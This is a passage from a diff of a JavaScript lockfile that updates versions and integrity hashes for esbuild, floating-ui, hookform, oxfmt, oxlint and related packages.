"sha512-8wZM2qqtv9UP3mzy7HiGYNH/zjTA355mpeuA+859TyR+e+Tc08IHYpLJuMsfpDJwoLo1ikIJI8jC3GFjnRClzA=="], + "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ=="], - "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.0", "", { "os": "none", "cpu": "arm64" }, "sha512-FLGfyizszcef5C3YtoyQDACyg95+dndv79i2EekILBofh5wpCa1KuBqOWKrEHZg3zrL3t5ouE5jgr94vA+Wb2w=="], + "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.2", "", { "os": "win32", "cpu": "ia32" }, "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA=="], - "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.0", "", { "os": "sunos", "cpu": "x64" }, "sha512-1ZgjUoEdHZZl/YlV76TSCz9Hqj9h9YmMGAgAPYd+q4SicWNX3G5GCyx9uhQWSLcbvPW8Ni7lj4gDa1T40akdlw=="], + "@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.2", "", { "os": "win32", "cpu": "x64" }, "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g=="], - "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-Q9StnDmQ/enxnpxCCLSg0oo4+34B9TdXpuyPeTedN/6+iXBJ4J+zwfQI28u/Jl40nOYAxGoNi7mFP40RUtkmUA=="], + "@floating-ui/core": ["@floating-ui/core@1.8.0", "", { "dependencies": { "@floating-ui/utils": "^0.2.12" } }, "sha512-0CIZ5itps/8x7BG8dEIhs53BvCUH2PCoogtakwRTut+Arm58sJooJ0AuZhLw2HJYIR5cMLNPBSS728sPho2khQ=="], - "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-zF3ag/gfiCe6U2iczcRzSYJKH1DCI+ByzSENHlM2FcDbEeo5Zd2C86Aq0tKUYAJJ1obRP84ymxIAksZUcdztHA=="], + "@floating-ui/dom": ["@floating-ui/dom@1.8.0", "", { "dependencies": { "@floating-ui/core": "^1.8.0", "@floating-ui/utils": "^0.2.12" } }, "sha512-yXSrzeHZBTZadLOlfyhCkJHNeLJnHRnRInwdZ40L7ZiaAtrBwoYlsDrX3v5zB1Utk7CLfzcOVnVVWoXEky7Ceg=="], - "@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.0", "", { "os": "win32", "cpu": "x64" }, "sha512-pEl1bO9mfAmIC+tW5btTmrKaujg3zGtUmWNdCw/xs70FBjwAL3o9OEKNHvNmnyylD6ubxUERiEhdsL0xBQ9efw=="], + "@floating-ui/react-dom": ["@floating-ui/react-dom@2.1.9", "", { "dependencies": { "@floating-ui/dom": "^1.8.0" }, "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-JDjEFGCpImxDCA7JJKviA0M9+RtmJdj0m/NVU5IMgBK+AmZouAQQ7/+2GLH0GXXY0YMw9oXPB8hKdbPYg5QLYg=="], - "@floating-ui/core": ["@floating-ui/core@1.7.3", "", { "dependencies": { "@floating-ui/utils": "^0.2.10" } }, "sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w=="], - - "@floating-ui/dom": ["@floating-ui/dom@1.7.4", "", { "dependencies": { "@floating-ui/core": "^1.7.3", "@floating-ui/utils": "^0.2.10" } }, "sha512-OOchDgh4F2CchOX94cRVqhvy7b3AFb+/rQXyswmzmGakRfkMgoWVjfnLWkRirfLEfuD4ysVW16eXzwt3jHIzKA=="], - - "@floating-ui/react-dom": ["@floating-ui/react-dom@2.1.8", "", { "dependencies": { "@floating-ui/dom": "^1.7.6" }, "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-cC52bHwM/n/CxS87FH0yWdngEZrjdtLW/qVruo68qg+prK7ZQ4YGdut2GyDVpoGeAYe/h899rVeOVm6Oi40k2A=="], - - "@floating-ui/utils": ["@floating-ui/utils@0.2.11", "", {}, "sha512-RiB/yIh78pcIxl6lLMG0CgBXAZ2Y0eVHqMPYugu+9U0AeT6YBeiJpf7lbdJNIugFP5SIjwNRgo4DhR1Qxi26Gg=="], + "@floating-ui/utils": ["@floating-ui/utils@0.2.12", "", {}, "sha512-HpCo8tmWzLVad5s2d19EhAz5zqrrQ6s69qd6moPMQvkOuSwDT1YgRfWSVuc4ennqrgv3OHppiOGMQ7oC13yIww=="], "@fuma-translate/react": ["@fuma-translate/react@1.0.2", "", { "peerDependencies": { "@types/react": "*", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@types/react"] }, "sha512-uOiOtBx3nRXR8Nu1GzBf1tApgF1FErDBTHxRIAQeyQdyOoZbrNRN6H4kDCWObY4qyGeGbHydG0DHzgeUgFDMIw=="], - "@fumadocs/tailwind": ["@fumadocs/tailwind@0.0.5", "", { "peerDependencies": { "@tailwindcss/oxide": "^4.0.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@tailwindcss/oxide", "tailwindcss"] }, "sha512-ENKPWUDRmriccsrUDE4bDBq3FNr/ms3BP2rWlsAEMV1yP23pcCaan+ceGfeBUsAQjw7sj9Q3R4Kl3g/TCStPzQ=="], + "@fumadocs/tailwind": ["@fumadocs/tailwind@0.1.1", "", { "peerDependencies": { "tailwindcss": "^4.0.0" }, "optionalPeers": ["tailwindcss"] }, "sha512-BnPe52UxSaG8yKlHMKBxXw8h6GpK5qO55ci6+Qd5JnquTvIw6SpfbC1P+qAi82PuPWv1KZAWY8bxRk4+x9ctXw=="], + + "@fumari/image-size": ["@fumari/image-size@0.1.0", "", {}, "sha512-x2o9u6P8uKUK15B8XgEoRhR3PgLoLSbQKK6FUCd14JzumEw+e8FXZPelij/dZ4VQVMp4r61VD3DcvSo3aEhLAA=="], - "@hookform/resolvers": ["@hookform/resolvers@5.4.0", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-EIsqr/t/qbinPIhGjMdtvutIN1Kk4uwbROE9/UQ93CAVGR7GkA7Y92+fX80OzXi/OB67jVFYwKGO1WzkxmkFZw=="], + "@hookform/resolvers": ["@hookform/resolvers@5.9.1", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "@sinclair/typebox": ">=0.25.24", "@standard-schema/spec": "^1.0.0", "@typeschema/main": ">=0.13.7", "@vinejs/vine": "^2.0.0 || ^3.0.0 || ^4.0.0", "ajv": "^8.12.0", "ajv-errors": "^3.0.0", "ajv-formats": "^2.1.1", "arktype": "^2.0.0", "ata-validator": "^1.2.0", "class-transformer": ">=0.4.0", "class-validator": ">=0.12.0", "computed-types": "^1.0.0", "effect": "^3.10.3", "fluentvalidation-ts": "^3.0.0", "fp-ts": "^2.7.0", "io-ts": "^2.0.0", "joi": "^17.0.0 || ^18.0.0", "nope-validator": ">=0.12.0", "react-hook-form": "^7.55.0", "superstruct": ">=0.12.0", "typanion": "^3.3.2", "valibot": ">=0.31.0 || ^1.0.0-beta.4 || ^1.0.0-rc", "vest": ">=6.0.0", "yup": "^1.0.0", "zod": "^3.25.0 || ^4.0.0" }, "optionalPeers": ["@sinclair/typebox", "@standard-schema/spec", "@typeschema/main", "@vinejs/vine", "ajv", "ajv-errors", "ajv-formats", "arktype", "ata-validator", "class-transformer", "class-validator", "computed-types", "effect", "fluentvalidation-ts", "fp-ts", "io-ts", "joi", "nope-validator", "superstruct", "typanion", "valibot", "vest", "yup", "zod"] }, "sha512-7b7vsbraJxKgjVSA1Nur9tLwj539WGJUBLA7QNvXnFoT2pM5Z7G+6rlukk4B2/QrTZy6huRtH6wKeESPKuIr6w=="], "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], @@ -203,375 +172,383 @@ "@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="], - "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="], + "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.6.0", "", {}, "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw=="], "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], "@mdx-js/mdx": ["@mdx-js/mdx@3.1.1", "", { "dependencies": { "@types/estree": "^1.0.0", "@types/estree-jsx": "^1.0.0", "@types/hast": "^3.0.0", "@types/mdx": "^2.0.0", "acorn": "^8.0.0", "collapse-white-space": "^2.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "estree-util-scope": "^1.0.0", "estree-walker": "^3.0.0", "hast-util-to-jsx-runtime": "^2.0.0", "markdown-extensions": "^2.0.0", "recma-build-jsx": "^1.0.0", "recma-jsx": "^1.0.0", "recma-stringify": "^1.0.0", "rehype-recma": "^1.0.0", "remark-mdx": "^3.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.0.0", "source-map": "^0.7.0", "unified": "^11.0.0", "unist-util-position-from-estree": "^2.0.0", "unist-util-stringify-position": "^4.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" } }, "sha512-f6ZO2ifpwAQIpzGWaBQT2TXxPv6z3RBzQKpVftEWN78Vl/YweF1uwussDx8ECAXVtr3Rs89fKyG9YlzUs9DyGQ=="], - "@mjackson/node-fetch-server": ["@mjackson/node-fetch-server@0.2.0", "", {}, "sha512-EMlH1e30yzmTpGLQjlFmaDAjyOeZhng1/XCd7DExR8PNAnG/G1tyruZxEoUe11ClnwGhGrtsdnyyUx1frSzjng=="], + "@oxc-project/types": ["@oxc-project/types@0.147.0", "", {}, "sha512-IJ3s6ltHLp45S0bh7phkX+gJO7A1Wuz2EaqpAhb8WjqDwbzMiWKHhyyT42tskaWjEYXtHtVCPpnBJVT9+dcRLg=="], - "@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.1.6", "", { "dependencies": { "@tybys/wasm-util": "^0.10.3" }, "peerDependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1" } }, "sha512-ZLv/JdUfkvOy9eCnnBaGfiO+XimbjebAeO+MRQqD/B+FR1tnRN0tpKSJHRbE8sFfS6aqsXZ67TQjfwfsxULVbg=="], + "@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.65.0", "", { "os": "android", "cpu": "arm" }, "sha512-M10Gs1SSpTNI6ahGx3M/OlIdUF4hkaP6OgUb+MS79t/Pgflk3r1nW5gPFqsZGUAXg0H1AfANT9AvLdBSTIhZKg=="], - "@orama/orama": ["@orama/orama@3.1.18", "", {}, "sha512-a61ljmRVVyG5MC/698C8/FfFDw5a8LOIvyOLW5fztgUXqUpc1jOfQzOitSCbge657OgXXThmY3Tk8fpiDb4UcA=="], + "@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.65.0", "", { "os": "android", "cpu": "arm64" }, "sha512-6DXH5sftNlaHpWJG50hFMF+Qxtq5D2TmahvcDPxWNcGIf8qrC9Y0YgHYcYZ2hlWzaccKXh/f3GcssH8vtkl4JA=="], - "@orama/stopwords": ["@orama/stopwords@3.1.18", "", {}, "sha512-W8V7m7RnCme+99OmKl/xs5rf6OUhFpr0aPGVmPrXzTLSg4ZqSbRY2euS2S/lgjjYi/0NhEWqwoq8nDY6Ihx4EA=="], + "@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.65.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-K9m7lr53pcOLETNsC88sWes/GWHUGjZyHx95UhYcSXy0r30haLdeXlSufSenEAtoLaW753WN8/l4M7GYcRt6cg=="], - "@orama/tokenizers": ["@orama/tokenizers@3.1.18", "", { "dependencies": { "@orama/orama": "3.1.18" } }, "sha512-Ra4dFddWZ7hCGPAehnd/6QZjlzQvczYSt1y1Fq4HteJqRu2yvfR6fXvxiUnKi+HIgJYPxKhebJEjvJdF8LYQWg=="], + "@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.65.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-sTNwIx1gre3MyiHOPLu7IGW4UyMScYL4DTmJT01p4vzB0En+OJUQz6KuH8t0PpsClRSaMuY3b0QmtoPItfO8Lg=="], - "@oxc-project/types": ["@oxc-project/types@0.137.0", "", {}, "sha512-WT+Gb24i8hmvo85AIv2oEYouEXkRlKAlT9WaCa3TfLgNCN+GhrJOGZuIlMouAh38Qe4QOx26eUOVsq70qXrywA=="], + "@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.65.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-lYZMVIiIpnjGu5hJb2jxA8NYQ/e0OTGuaiAf4dqlGPNnPmUTu23FZRMltmjro/KkQm1uE4NT4n5yJ2zWmKcpfA=="], - "@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.56.0", "", { "os": "android", "cpu": "arm" }, "sha512-CSCxi7ovYojgfdPOdUb9T508HKeAdDIKeRGg7x8IZwVJrWz9gVgX7MbUnFqtQAE4QvoNo07mj2JlwnOzJw4qqA=="], + "@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.65.0", "", { "os": "linux", "cpu": "arm" }, "sha512-gIdXFAt/bURnjxuoedDEWdZ0PEWEmdDcm8qdpoFYYvW3QMk/5D4vUaH4mlMeRpeTdST4izUgHVO6RawQ4QulJw=="], - "@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.56.0", "", { "os": "android", "cpu": "arm64" }, "sha512-HYJFnd+PkDwf6S9ZPGzXXtjNqvRWFnnhdbWaouh4mi/SxU8wmDuzlMn3xo/wDTGnr4Q1VA7ZzOaE/D4biW0W6A=="], + "@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.65.0", "", { "os": "linux", "cpu": "arm" }, "sha512-jJVyADto7gA2AaX5qAjAexrxx9PJQaKWOe8PICE7yKMbjBRyOHcmj9TtVJ+MZYDUQ3hodU0AcoTj0jFQ1W4C6Q=="], - "@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.56.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-sftR/bEOr+t1gs+evwsHi/Xbq2FAPA2uU3VMr8n6ZU9PoK/IMSfnfu7+OEe/uy1+knhrFl4Wvy7Vkm3uo9mJ7g=="], + "@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.65.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-p3RFkB+u7u+8up99b/NEcI1hdpLDiGgJYNwDorB60n7eH+eKposAKuMBxx+NqB3b+sJP4CZmYDh9G7X62tUsKg=="], - "@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.56.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-z66SdjLqa3MUPKvTp3Mbb5nSjKSbnYxJGeB+Wx987s8T5hPcIRiBMfnJ6zcPgYtQn3x5xjvdzNVkXrSeYH6ZFg=="], + "@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.65.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-5Prb0uFzJHr+OUD/qS/TmU526wD+PaHDsm3KoRiUXbMIDpTSErjeQYkK3OQeshAvD/PuLa9WGEi9WPajjdOZJg=="], - "@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.56.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-t2tkrV1vtZyaItSQ71dTi2ZVKZEI39b/LqLT12V5KMfIeXK6N32TUC1jhOXKVQmhECq9j2ZXMQV3JeT1kh9Vmg=="], + "@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.65.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-S8svxTp81obnF3admN9yd+u2rOYXtyzThLGBTg1PY6TPtGcC09BaaXLQD+TBSMa7yvqhCDZ8DFri+S/yG60qCg=="], - "@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.56.0", "", { "os": "linux", "cpu": "arm" }, "sha512-+gCy+Tp3RHeXQ9y/QrS76lXIpZkbziTyp6hIgjB2MssCwfMph3vG/GEfkhO34Rai1vhYIaUkvv8UT1BcDorJPw=="], + "@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.65.0", "", { "os": "linux", "cpu": "none" }, "sha512-WtXBr75G/h2qOHy8SiGtC1R6aS3jt4mE52v1D8AtwMXIgoOmSNP9lKvbSaTRoL0e5wsMPoi6T72QWDYPu+S+nA=="], - "@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.56.0", "", { "os": "linux", "cpu": "arm" }, "sha512-0kKkVvQ2I+FJ2sxQyUu1zJ0yWP5kcWse/yVFnGQSFCXMwSSkfEaUGu0dW774O7nyy3jrcBGap7OSc8dZmU/CdA=="], + "@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.65.0", "", { "os": "linux", "cpu": "none" }, "sha512-YwSLVvpaz4o/nv/miiPEBJz+eJ+VmbgNIrao6RccK9ce+L5EA8wP+ZD0uFeq6wKOza6zoWv/dR0sj6lip6R3EA=="], - "@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.56.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-npkA2siMbyWRh+wEhi1aTAx4RirukGcGNt8V4Ch86pG+xU9aurqS1MZOnKYMu03ISwat3rB6zkQx51SsB9obNw=="], + "@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.65.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-XQTPqgvyrgkKcFq+Tp2eK6JS7sqqJ+nRmy2Fav4j3I+i4dJoPJm7YwEdoeSDX9xkqj9jZ/lWfF3bXUWztIrn6A=="], - "@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.56.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-UekqOjGkV4/MkqreCV9SPIB2jlR3/HbXrmhV1rVXJZ9wfDXMyCMriLtq3tHqLY4PkbVWNtfcm1kMojJ26KLSJw=="], + "@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.65.0", "", { "os": "linux", "cpu": "x64" }, "sha512-cjZlx6S/VkeCNWCbwZriTnLnZeTcV3DEyeRGSw/2wwLP9viq+C0bJ4bC1k/ZLkFxDcB1lUgSasPkYGP1bdraOg=="], - "@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.56.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-XSzveSpeZMD5XJpew5lRFVtNnT04xd3rJxENXmk7wkZzN9oWzv2aFJyoNDhOtoz69BYaS/fg4SYl+CfEZRpB0Q=="], + "@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.65.0", "", { "os": "linux", "cpu": "x64" }, "sha512-2azCjxdLtK4zCcIOU1dlXlU0xxfbPi6EjwWx7Ac7teWPidIIDOcIhudup83xNCKYhtqeVd/gaVDOxbUq4syXWA=="], - "@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.56.0", "", { "os": "linux", "cpu": "none" }, "sha512-EkQ0nJa7k7HDDIVuPF7WY+k4k+bzdclLYtyIXNt7/OqVghfNiMym6YGppFBgx1XRIHW6QylxBz5OogumPjPJbQ=="], + "@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.65.0", "", { "os": "none", "cpu": "arm64" }, "sha512-KXQ7xi1e/voP0IQaw6fG6XY4Z5+Llf1XmRSZS1t7pVFCecFJ0iXaboKmVwjFtp5MLlT5iWQrJ2U1C3GJdZ2u+Q=="], - "@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.56.0", "", { "os": "linux", "cpu": "none" }, "sha512-dyjAGW8jKRge0ik6U/dgvQG0nVpA3iBlRskQTz5qJLvQWIrySxX5jpqzPetLBNIIZ231KA82fDdi1nLTk8ENCw=="], + "@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.65.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-2FbbjG5jEqLSLKVJwBap84uJfpn5Y5A53KEO0aUNr+zeiRB9nyPUIFMcSbZVMFLitfBytFWRNngozXYjb6Rsbw=="], - "@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.56.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-60ZGH3LtfqlW8X6vcLdSFY4lvCQYINurttYBKaALnHCDVAUCYJ1LsUgS6p1XOzVlzEDx3yNUZvDF1Lvt59zoZw=="], + "@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.65.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-LJ+ZacAPSjegDOnSLyA1TMWAhdDrsK4el3REdr1oL2UtVBCMhO2II/Sb3cEW6mF2MfLhl8hDNCSvc7KSbgk3LQ=="], - "@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.56.0", "", { "os": "linux", "cpu": "x64" }, "sha512-u1suj1tgJHK4ZqB7buCtdbNef2n8+d0lXTPJwLHNmtyK6p+DTpsaoDvmqhQrA56fgKYv4LuRxNtL8YooebKOew=="], + "@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.65.0", "", { "os": "win32", "cpu": "x64" }, "sha512-higu9cWEO6XXFzATD1jf0mCK34rNfN2H9JrJie7QB1IhleVpTh0QlLH9Ip2C1H/Nd5n0v5pvRtC+5R0uE4HpVg=="], - "@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.56.0", "", { "os": "linux", "cpu": "x64" }, "sha512-aYGLvlQHt80y+qKEtfJY/Nm27G0125Lv+qyh9SJ4Cjc6lXnXjD+ndfhqQnbV24POpMi7rNRi0jvx/0d70FRpCQ=="], + "@oxlint/binding-android-arm-eabi": ["@oxlint/binding-android-arm-eabi@1.80.0", "", { "os": "android", "cpu": "arm" }, "sha512-RM3Plj+biQpxa5d1GOOX6ciDlcUROmm4OZ/pLTpitkQt2mJv4jhtY4cbgaetOm5UKWZe05/TGQ6o1Vl8EOHkrA=="], - "@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.56.0", "", { "os": "none", "cpu": "arm64" }, "sha512-H/re/gO+7ysVc+kywHNuzY3C33EN9sQcZhg0kp1ZwOZl7y998ZE5mhnBiuGR/nYI0pqLL5xQfrHVUOJ/cIJsCA=="], + "@oxlint/binding-android-arm64": ["@oxlint/binding-android-arm64@1.80.0", "", { "os": "android", "cpu": "arm64" }, "sha512-YlO5JEf0Yr2bUUlu8O8daVcUxtcGGbcSmyV7E7nSbJbfAdxTE0PFPwgnIlw7wXJaTYjb+qs5hI5q3jxUkI7cAw=="], - "@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.56.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-6qLNXfXmtAs8jXDvYMkxk6Wec5SUJoew+ZX1uOZmqaR7ks0EJFbAohuOCELDyJMWyVlxotVG8Xf8m74Bfq0O2w=="], + "@oxlint/binding-darwin-arm64": ["@oxlint/binding-darwin-arm64@1.80.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-BULDOyO3AhsmdWfQeIUCykDt3dd7XZBGLhp1eIh56skRv01O+cNjNPwXMIbeW1x4+pxcln5if72wcRgViVo7PA=="], - "@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.56.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-UXEXuKphAe15bsob4AswNMArCw38XSmUIs3wk1s6e6MX9OWGW/IRWU95s1hZDiVg09STy1jHgyN2qkqbu1FT0w=="], + "@oxlint/binding-darwin-x64": ["@oxlint/binding-darwin-x64@1.80.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-YJ4JzLw7N5TDSQFlA0hAQGHvnDZgyypm1yunObVWcWiF9KM7eGCJKYKLgTC2Fi/57OdnBhbj4OkzPGdFQJ6HyA=="], - "@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.56.0", "", { "os": "win32", "cpu": "x64" }, "sha512-HPyNDjky+NIOuaMvHZflR+kst3YWdUOH2JUQYkf99grqZ5mEBTQM6h9iGy501Z8Xt5xMScrwHOuVCOlqDrktRw=="], + "@oxlint/binding-freebsd-x64": ["@oxlint/binding-freebsd-x64@1.80.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-AYUIk5QnL0s8oWAYsREZwkRYy1SupJTXALo93J1TgzHywxQtdM99FecRMQ87MXEdPQ0j1TmEpeeq3fGNkpvMqg=="], - "@oxlint/binding-android-arm-eabi": ["@oxlint/binding-android-arm-eabi@1.71.0", "", { "os": "android", "cpu": "arm" }, "sha512-ImGmd1njEg4FEJH03jhRnveEegtO3czCtfptvaHivKAZQIYATbVFBrrzbaYMYv0oJioTnxZAZVSyV+oL7W8S2g=="], + "@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/binding-linux-arm-gnueabihf@1.80.0", "", { "os": "linux", "cpu": "arm" }, "sha512-9hBZVANupQ89W9dXyE0n8doCyaW5pDyGn3y6XlIMPZ+rIKuyqkr3SNUXmVJIhuvUq0NBU3RBiSXXE69l4XI6KA=="], - "@oxlint/binding-android-arm64": ["@oxlint/binding-android-arm64@1.71.0", "", { "os": "android", "cpu": "arm64" }, "sha512-4A5BEexBrwY1YFF8Kiq/lp/wQPRG79G3BWIE1FuWaM5MvmpYSd+7ZySVcKkHdwo0UDzdQGddp6pD9mpctMqLnw=="], + "@oxlint/binding-linux-arm-musleabihf": ["@oxlint/binding-linux-arm-musleabihf@1.80.0", "", { "os": "linux", "cpu": "arm" }, "sha512-SvS2uKqzY+pbfuvAHzH4338R6Zwo805GAwrIMVvK1KxoOWCIjZUdfzTCvilD7z6JK91v011+zYMryabhDo2AsQ=="], - "@oxlint/binding-darwin-arm64": ["@oxlint/binding-darwin-arm64@1.71.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-9wJA9GJulLwS2usU3CEisI/ESDO1n1z9eyTCvApMDrAkbJ1ve0mORgTMjcWWsKxkzkeZ2N/Gpra5IQE7x8tYgQ=="], + "@oxlint/binding-linux-arm64-gnu": ["@oxlint/binding-linux-arm64-gnu@1.80.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-tCLadyqRVL3pQTRPNg7cjXKvcvS4fbyXeQHhKk5BTJ1oftQln5/yIIWbu/Xom/DX41zv2P9QGt6+D/TtQVtY3A=="], - "@oxlint/binding-darwin-x64": ["@oxlint/binding-darwin-x64@1.71.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-PlLCjS06V0PeJMAJwzjrExw1sYNW9Gch3JtNlcwwZDXGlTYDuwHNN89zYH8LTXFfgkVtsYvs2nv0FqrzyuFDzg=="], + "@oxlint/binding-linux-arm64-musl": ["@oxlint/binding-linux-arm64-musl@1.80.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-XfpCNRlOPcLlJl4Bn/FUhjqlR6BVavEykERBf/MV7YA9VZDa5g5znVqYhyviMafcxS9Pe/i/kPvHNO0U6svEHQ=="], - "@oxlint/binding-freebsd-x64": ["@oxlint/binding-freebsd-x64@1.71.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-Lhil7bWre0ncxbUoDoxfS0JzpTz17BRQKW7iwoAUY8GJ66+WwJEfYPCFJ1P0WgVZR5/O/b3Q2pENlHOjeXLOGQ=="], + "@oxlint/binding-linux-ppc64-gnu": ["@oxlint/binding-linux-ppc64-gnu@1.80.0", "", { "os": "linux", "cpu": "ppc64" }, 